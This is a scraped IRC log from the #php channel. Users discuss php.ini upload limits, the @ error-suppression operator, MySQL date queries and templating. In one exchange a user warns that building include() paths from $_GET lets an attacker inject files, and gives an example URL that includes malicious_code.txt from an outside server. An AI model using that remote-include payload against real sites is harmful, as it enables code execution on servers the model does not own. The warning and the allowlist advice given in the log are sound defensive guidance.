| |
| |
| |
|
Page: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
Comments:
<0> thanks guys... <1> hi there <2> hey - in php5 can i still set max_post_size in the php.ini? <3> ok thanks <4> yes <5> !tell Sier about AOLBonics <2> and uploads_max_filesize - as i understood it i could - but it does seem to be failing <5> Stormchaser, Priv messages usually work better in my opinion. :P <3> ok sorry eml <3> bye <6> eml: The messge I put out is ment for general public. INCLUDING the person directed to it. If they can't read -- tough luck. <5> Stormchaser, *DUH*, corrected once again. :P <7> a mushroom... <6> a voodoo doll... <7> that's not a room...
<8> vroom <6> it can be... If youre trapped inside... <8> a broom <3> sheep <7> zoom zoom <9> whats the difference between function and @function ? <8> ok this game ****s <3> beeh beeh <10> KingDavid: the @ suppresses error output <6> Sier: *blink* <8> KingDavid: @ masks error messages <6> !+@ <11> [@] The PHP error control operator that suppresses errors (@foo()), see: http://php.net/operators.errorcontrol - Don't use it. Think I'm wrong? Ask me about "GO". <5> !tell myself about GO <7> !tell me about GO <3> !+too many connections <10> !+msg the bot <11> Unless you're a ##PHP channel operator, please speak to the bot in private. <6> !+msg the bot <8> GO is nice faq <3> sorry my friends <6> damn <5> Hmm, what about using the @-operator in a MySQL-cl***? <3> [16:35:26] <11> i don't know <12> what bot? <13> @echo off :D <12> oh lol <3> what king of answer is that? <12> i just set up a bot :) <12> wanna see? <8> eml: what about it <6> gawd <12> err actually you cant really see it <3> i thought the bot knew everything :{ <7> isn't there a go statement in php... <8> tobmoox: no <12> its on a p***worded page <12> but i got it to spot links in irc and put em on the page :)) <10> Alystair: citing MS-DOS batch files may get you dragged out and beaten ;) <6> Sier: It ignores stupid prople <8> CoryK: who said it was? <3> oh.. only allow geeks questions? <5> ||cw, Even though it sais "what ops consider best practise", is it still something that might be used without any bugs/weird behaviour appearing? <7> i dunno, i thought it was <6> Sier: Don't... Just... Don't... <3> thanks for the great support :D <7> i guess i should return to my project <8> eml: "best practice" would be for your mysql cl*** to set error_reporting to 0 and then set it back when its done <8> eml: or something liek that <14> that's exactly what @ does <8> eml: maybe set it to log instead, anythign but having php echo wanrings to the browser <5> Oh, so rather then using @ I could just set error reporting in a function (is that possible) to actually gain performance? <8> et: not exactly <10> eml: it's possible, sure. <10> eml: there are other ways to handle errors though.
<8> eml: I'm not there would be a measurable performance gain <5> ||cw, Well, if there's say 1000 users browsing, then I guess it would show? <10> eml: in some cases errors will occur anyway, even though you've opted to handle them a different way. in those cases, '@' may be desireable <5> caffinated, Ah, okay. <8> eml: well, the errors should be the eception not the norm, so it realy should not matter <10> eml: if you do use it, be careful of how though. it can sometimes be confusing if things are breaking and you've suppressed errors. <5> caffinated, Yeah, I will of course change this ONLY when I know things are working. <14> eml: @include in particular can be a major source of headaches ;) <5> et, :) I will not include anything that could return false though (except if someone's trolling my server). :P <7> but it can also help so that you don't reveal information regarding your system... <5> Yer. <6> CoryK: "custom error handler" <14> eml: well, even then, if you include for example a config file... you got a typo in the config file, triggers a parse error, but nothing shows up, site just stays blank <5> I've got another question too. I manage my page through $_GET, like site/?pageLocation=index and then check if the file exists, then include it. Have you got anything against that method? <10> eml: yep <5> et, Ah, ok. I meant that I won't use @include though. <5> caffinated, Regarding performance or anything else? <10> eml: if you're not doing proper validation i can use it to inject files in your include which could then get executed on your server. <5> caffinated, if (isset($_GET["loc"]) && $_GET["loc"] != "" && isfile) <7> the way i've seen it done is a friend kept a list of those files which are allowed to be included, and if it's not on the list he spits out a error message <10> eml: consider what might happen if i did something like this: http://yourserver.com/page=@http://myserver.com/malicious_code.txt <5> caffinated, Oh! Thanks. CoryK, I'll do that instead. <5> caffinated, You just saved my entire site. <5> caffinated, Altough, I could check if it exists on my machine only using the real path. But I guess the way CoryK said is a lot better. <7> that's not the way i do it though <10> eml: you could, but it's just better not to allow the user to specify anything inside an include() <5> CoryK, You just use lotsofpages.php and link to them? <7> i just use a switch statement <10> well, nothing in the parameter that is <15> Hiya gurus. I have a datetime entry in one of my tables. Currently to grab a row that occurred 'today' I use: WHERE TO_DAYS(NOW()) = TO_DAYS(datestamp) . What I'm trying to do now is to provide rows returned that have occurred within 24 hours. Any pointers? <7> and actually i have a function that fetches the page from the db <5> caffinated, Yeah, probably. It would ease up for me structure-wise only. That why I used it. <16> is there a simple way to get incoming mail saved into a mysql database? <10> eml: well, seperating out some kind of switch() dispatcher is fairly easy, and can be moved to a seperate include to keep it clean <16> would I be better off using someone elses project? <10> darnit: http://php.net/mysql <8> kyndig: #mysql #pgsql #sql <15> darnit : pipe the email through a parser in php <15> ||cw asked in mysql, nod. thanks, trying my hand with the geeks that breathe this type of application for website usage on a regular basis ( query is written in php if its any help ) <8> darnit: setup a script alias that pipes the mail to your script <15> darnit : phorum.org has a good example that I use to this day for doing just that <17> could anyone please help me with this ---> http://pastebin.com/714067 <8> kyndig: queries are written in sql, not php <16> ok thanbks <8> kyndig: and there is definaly nothing specific to php in your question, it's just mysql function usage <18> I'm working on a small slip of code, and i keep getting parse errors. I'm certain I'm missing something HORRIBLY obvious, but for the life of me I can't find it. The code is http://pastebin.com/714190 . ANy help would be appreciated <8> kdean06: what the error <8> kdean06: why are you echoing php tags? <19> ^ <7> would it be wise to use templates to sort of seperate the code from the display? <15> hmm, well _that_ didn't work ::stares as the page spits out a ton of rows:: <15> CoryK : only if you plan on updating/reusing/reading the code in the future <8> kyndig: try it on the mysql command line, or phpmyadmin, first. select the TO_DAYS values to see what they are <8> i don't even knwo that todays is the right functon to use, #mysql should be able to verify that <8> or the manual <20> hiya. I have a php script that executes some shell commands, and I want to redirect stdout and stderr all to a log file. What's the best way to do that? <15> CoryK : they're awesome for seperating the code for those quick little tweaks. The more up to date internal sql row-query templates though I havn't had much use for. ( I still drop in appended variables with <tr><td> values to fill tables ) ..but for layout it is perfect ( phplib template user of 4 years ) <7> i think ill outsource it, so then it's some other pour saps job to maintain my horribly hacked together code;) <15> CoryK : I'll take the job, not doin anything this weekend and have a decent template/sql hack I use on this end (several home grown cl***es to get rid of redundancy in functionality as well) <8> xian_: foo 2&1> log <8> i think <20> I'll try! <15> WHERE datestamp >= NOW() - INTERVAL 24 HOUR <17> could anyone please help me with this ---> http://pastebin.com/714067 <8> kyndig: I've used phplib forever too, tried PEAR's IT template yet? the blocks are handled in a much more sane way, pretty usefull for repeating rows <20> dj_flyby: looks like your $sql variable is missing ") at the end <8> otherwise it's almost identical to phplib <8> in fact, most of your templates will probably just work with it
Return to
#php or Go to some related
logs:
#perl #physics where are cookies stored ubuntu #css ErenTurkay mysql sum does not exist #perl ubuntu vncserver systemexception read connection reset there are stopped jobs mythtv opt_* perl
|
|